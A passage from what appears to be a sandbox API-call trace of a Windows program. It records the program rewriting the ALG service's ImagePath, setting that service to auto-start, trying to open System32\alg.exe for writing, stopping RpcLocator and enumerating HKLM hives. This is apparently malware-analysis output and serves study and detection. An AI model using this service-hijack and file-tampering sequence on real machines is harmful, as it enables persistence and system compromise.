(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0241.696] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0241.696] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\alg.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\alg.exe") returned 0x0 [0241.696] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\alg.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e2238*="C:\\Windows\\System32\\alg.exe" [0241.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0241.696] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0241.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0241.697] LocalFree (hMem=0x7e2238) returned 0x0 [0241.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\alg.exe", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0241.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0241.697] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\System32\\alg.exe", cchWideChar=27, lpMultiByteStr=0x21f4778, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\System32\\alg.exe", lpUsedDefaultChar=0x0) returned 27 [0241.697] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0241.697] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\alg.exe", cbData=0x1c | out: lpData="C:\\Windows\\System32\\alg.exe") returned 0x0 [0241.697] OpenServiceW (hSCManager=0x803918, lpServiceName="ALG", dwDesiredAccess=0x2) returned 0x803990 [0241.782] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0241.783] CloseServiceHandle (hSCObject=0x803990) returned 1 [0241.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0241.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0241.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0241.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0241.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0241.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.784] RegCloseKey (hKey=0x150) returned 0x0 [0241.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0241.784] RegCloseKey (hKey=0xc4) returned 0x0 [0241.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0241.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0241.784] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\alg.exe" (normalized: "c:\\windows\\system32\\alg.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f8f016, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x41f8f016, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0241.784] CreateFileW (lpFileName="C:\\Windows\\System32\\alg.exe" (normalized: "c:\\windows\\system32\\alg.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0241.784] GetLastError () returned 0x20 [0241.784] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0241.785] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0241.785] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0241.785] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x20) returned 0x8038a0 [0241.786] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0241.786] GetLastError () returned 0x425 [0241.786] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0241.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0241.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0241.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0241.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0241.786] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0241.786] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0241.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1a90, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0241.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.787] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0241.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0241.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.787] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0241.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0241.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.787] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0241.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0241.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.788] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0241.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0241.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.788] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0241.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0241.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.788] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0241.788] RegCloseKey (hKey=0x80000002) returned 0x0 [0241.788] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0241.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0241.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.789] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0241.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0241.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1bb0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0241.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.789] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0241.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0241.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0241.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.789] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0241.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0241.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.789] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0241.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0241.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.790] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0241.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0241.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.790] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0241.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0241.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.790] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0241.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0241.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1bb0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0241.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0241.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0241.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0241.790] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0241.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0241.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0241.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0241.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, 